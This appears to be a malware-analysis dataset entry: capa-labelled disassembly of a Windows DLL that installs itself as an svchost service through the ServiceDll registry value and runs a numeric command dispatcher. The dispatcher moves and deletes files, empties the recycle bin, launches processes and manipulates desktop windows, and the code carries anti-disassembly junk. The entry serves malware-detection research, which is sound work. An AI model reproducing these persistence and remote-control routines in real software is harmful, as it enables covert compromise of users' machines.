joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a4b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a4c5
jae 0x1000a45d
mov eax, dword [0xf045c758]
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.100110b0
cmp dword [ebp - 4], 0
jne 0x1000a4f6
or eax, 0xffffffff
jmp 0x1000a5b2
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000a514
or eax, 0xffffffff
jmp 0x1000a5b2
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1001109e
mov dword [ebp - 8], 0
jmp 0x1000a543
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jae 0x1000a5a2
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
imul edx, edx, 0x4c
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + edx + 0x30]
push ecx
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 8
test eax, eax
jne 0x1000a5a0
mov edx, dword [ebp - 8]
imul edx, edx, 0x4c
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov dword [ecx + 8], edx
mov eax, dword [eax + 0xc]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x1000a5b2
jmp 0x1000a53a
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a5c0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a5d5
jae 0x1000a56d
mov eax, dword [0x3f6858]
verw word [edx]
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a5f0
jmp 0x1000a63a
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a618
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
Function at 0x1000a650
Capabilities:
Start service

Disassembly:
and byte [ecx], al
adc byte [ecx + 0x7d83fc45], cl
cld
add byte [ebp + 0xc], dh
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000a63a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a668
jae 0x1000a600
mov eax, dword [0xf885c758]
invalid
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10c], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x1000a6a3
or eax, 0xffffffff
jmp 0x1000a750
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._svchost.exe__k
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a741
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a800
Capabilities:
Set registry value

Disassembly:
inc eax
and byte [ecx], al
adc byte [ecx + 0x7d83f845], cl
clc
add byte [ebp + 0xe], dh
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a818
jae 0x1000a7b0
mov eax, dword [0xfc45c758]
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a85c
jmp 0x1000a8ca
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 2
push 0
push str.ServiceDll
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a8e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a8f5
jae 0x1000a88d
mov eax, dword [0xfc45c758]
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a933
jmp 0x1000a962
mov dword [ebp - 0xc], 4
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp + 0xc]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a970
Capabilities:
Set registry value

Disassembly:
add byte [eax + 0x202c15ff], al
add dword [eax], edx
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a988
jae 0x1000a920
mov eax, dword [0xf885c758]
invalid
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a9d8
jmp fcn.1000aa4c
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
Function at 0x1000b080
Capabilities:
Delete file

Disassembly:
in eax, 0x5d
ret
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001181c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x100123c8
mov dword [ebp - 4], 0
push eax
xor eax, eax
je 0x1000b0bd
jae 0x1000b055
mov eax, dword [0xec4d8b58]
pop eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.10004c50
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0xc], 0
je 0x1000b0e7
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
Function at 0x1000b130
Capabilities:
Delete file

Disassembly:
and al, 0x62
add byte [eax], al
add esp, 4
mov edx, dword [ebp - 0x14]
add edx, 0x124
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.10004c50
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.10003800
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
je 0x1000b148
jae 0x1000b0e0
mov eax, dword [0x8458b58]
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x1f42
mov ecx, dword [ebp - 8]
add ecx, 0x10
call fcn.10004ab0
test eax, eax
jne 0x1000b168
xor eax, eax
jmp 0x1000b2f4
mov ecx, 1
test ecx, ecx
je 0x1000b2ef
mov ecx, dword [ebp - 8]
call fcn.1000d9c0
test eax, eax
jne 0x1000b186
jmp 0x1000b2ef
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x1771
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x1a
ja case.0x1000b1b7.12
mov ecx, dword [ebp - 0xc]
jmp dword [ecx*4 + 0x1000b2fd]
mov ecx, dword [ebp - 8]
call fcn.1000c8d0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000c970
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000d510
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000d450
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000d660
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000d5c0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b430
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b980
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b790
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b4d0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000bc30
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000bb70
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b6e0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b480
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b3b0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000bf70
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000c3f0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000b370
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000cca0
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000ca60
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000d010
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000cd30
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000ce30
jmp 0x1000b2dc
mov ecx, dword [ebp - 8]
call fcn.1000cf50
jmp 0x1000b2dc
mov edx, dword [ebp - 8]
mov dword [edx + 4], 0x1b5e
mov ecx, dword [ebp - 8]
call fcn.1000da90
test eax, eax
jne 0x1000b2ea
jmp 0x1000b2ef
jmp 0x1000b168
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b370
Capabilities:
Create thread

Disassembly:
mov dl, 0
adc byte [esi - 0xdefff4e], dl
mov cl, 0
adc bh, bh
mov cl, 0
adc dl, dl
mov dl, 0
adc al, bl
mov cl, 0
adc ch, ah
mov cl, 0
adc dl, dl
mov dl, 0
adc byte [edx - 0x5fefff4e], al
mov dl, 0
adc byte [edx - 0x41efff4e], ch
mov dl, 0
adc byte [edx + esi*4 - 0x4d2df000], dh
add byte [eax], dl
enter 0xb2, 0x10
xor esi, dword [edx - 1312944128]
add byte [eax], dl
retf
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push eax
xor eax, eax
je 0x1000b386
jae 0x1000b31e
mov eax, dword [0xfc458b58]
pop eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
push edx
push 0
push 0x100027e0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b3b0
Capabilities:
Empty the recycle bin

Disassembly:
adc bl, cl
mov cl, 0
adc byte [edx + esi*4 - 0x3333f000], cl
int3
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
je 0x1000b3c8
jae 0x1000b360
mov eax, dword [0xf4458b58]
pop eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
jmp 0x1000b3e4
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
xor edx, edx
mov ecx, 0x224
div ecx
cmp dword [ebp - 8], eax
jae 0x1000b41d
push 3
push 0x100146e0
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.1000c680
mov ecx, dword [ebp - 4]
add ecx, 0x224
mov dword [ebp - 4], ecx
jmp 0x1000b3db
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b430
Capabilities:
Create directory
Empty the recycle bin

Disassembly:
add dword [ecx + 0x458bf855], ecx
hlt
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
je 0x1000b448
jae 0x1000b3e0
mov eax, dword [0xf8458b58]
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000b46c
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0x1b62
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b4d0
Capabilities:
Create directory
Empty the recycle bin
Move file

Disassembly:
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
je 0x1000b498
jae fcn.1000b430
mov eax, dword [0xf8458b58]
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x400
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1000b4c4
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], 0x1b61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
mov dword [ebp - 0x114], ecx
push eax
xor eax, eax
je 0x1000b4ee
jae 0x1000b486
mov eax, dword [0xec858b58]
invalid
pop eax
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x10c], ecx
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x5c
push 0
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000b543
mov eax, dword [ebp - 0x114]
mov dword [eax + 4], 0x1b63
jmp fcn.1000b5c4
mov ecx, dword [ebp - 4]
mov byte [ecx], 0
mov edx, dword [ebp - 4]
add edx, 1
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x114]
call fcn.1000da30
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x1000b586
mov ecx, dword [ebp - 0x114]
mov dword [ecx + 4], 0x1b69
jmp fcn.1000b5c4
Function at 0x1000b5d0
Capabilities:
Get disk information
Get disk size

Disassembly:
imul ebx, dword [ebx], 0x3eeb0000
mov edx, dword [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
mov ecx, dword [ebp - 0x114]
call fcn.1000bfb0
test eax, eax
jne 0x1000b5b7
mov edx, dword [ebp - 0x114]
mov dword [edx + 4], 0x1b58
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
xor eax, eax
je 0x1000b5e8
jae 0x1000b580
mov eax, dword [0x8458b58]
pop eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 0x220
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
add edx, 0x18
push edx
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov ecx, dword [ebp + 0xc]
add ecx, 8
push ecx
mov edx, dword [ebp + 0xc]
add edx, 0x220
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
jne 0x1000b659
mov eax, dword [ebp + 0xc]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x18], 0
mov dword [edx + 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov word [ebp - 0xb], ax
mov byte [ebp - 9], al
mov ecx, dword [ebp + 8]
push ecx
push 0x10014600
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
mov eax, dword [ebp + 0xc]
add eax, 0x120
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0x80
mov eax, dword [ebp + 0xc]
add eax, 0x20
push eax
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000b6e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x268], ecx
push eax
xor eax, eax
je 0x1000b6fe
jae 0x1000b696
mov eax, dword [0x98858b58]
std
invalid
pop eax
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x260], 0
mov ecx, 0x96
xor eax, eax
lea edi, [ebp - 0x258]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x260]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x268]
call fcn.1000b5d0
mov ecx, dword [ebp - 0x268]
Function at 0x1000b8f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
mov dword [ebp - 0x22c], ecx
push eax
xor eax, eax
je 0x1000b90e
jae 0x1000b8a6
mov eax, dword [0xd885c758]
std
invalid
pop eax
mov dword [ebp - 0x228], 0
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x224]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x228]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
Function at 0x1000bf70
Capabilities:
Create process on windows

Disassembly:
and byte [ecx], al
adc byte [ebp - 0xdd8a40], al
adc eax, sym.imp.KERNEL32.dll_GetLastError
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
je 0x1000bf88
jae 0x1000bf20
mov eax, dword [0xf8458b58]
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
push 5
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000c3f0
Capabilities:
Write file on windows

Disassembly:
mov dword [ebp - 0x208], edx
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x204]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
je 0x1000c408
jae 0x1000c3a0
mov eax, dword [0xf04d8b58]
pop eax
mov ecx, dword [ebp - 0x10]
call fcn.1000da30
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x1000c426
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b69
jmp 0x1000c49d
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 4], edx
mov dword [ebp - 8], 0
jmp 0x1000c441
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 8]
xor edx, edx
mov ecx, 0x224
div ecx
cmp dword [ebp - 8], eax
jae 0x1000c493
mov edx, dword [ebp - 4]
cmp dword [edx], 0
je 0x1000c472
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x24
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.1000c4b0
jmp 0x1000c485
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.1000c330
mov ecx, dword [ebp - 4]
add ecx, 0x224
mov dword [ebp - 4], ecx
jmp 0x1000c438
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c8d0
Capabilities:
Enumerate gui resources
Write file on windows

Disassembly:
cld
push eax
call fcn.1000a200
add esp, 8
mov dword [ebp - 0x10c], 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
push 0x808
lea edx, [ebp - 0x914]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
je 0x1000c8e8
jae 0x1000c880
mov eax, dword [0xf04d8b58]
pop eax
mov ecx, dword [ebp - 0x10]
call fcn.1000da30
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x1000c906
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0x1b69
jmp 0x1000c95b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000c938
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov edx, dword [ebp - 0xc]
push edx
push 0x1000c770
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000c970
Capabilities:
Enumerate gui resources

Disassembly:
adc eax, sym.imp.USER32.dll_OpenInputDesktop
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push eax
xor eax, eax
je 0x1000c988
jae 0x1000c920
mov eax, dword [0xf0458b58]
pop eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000c9c4
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x804]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0x10
je 0x1000c9d8
jmp 0x1000c9f0
push 0
push 0
push 0x10
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x800]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x1000ca0a
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x804]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x800]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x804], 3
je 0x1000ca22
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x804], 5
jne 0x1000ca42
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x800]
push edx
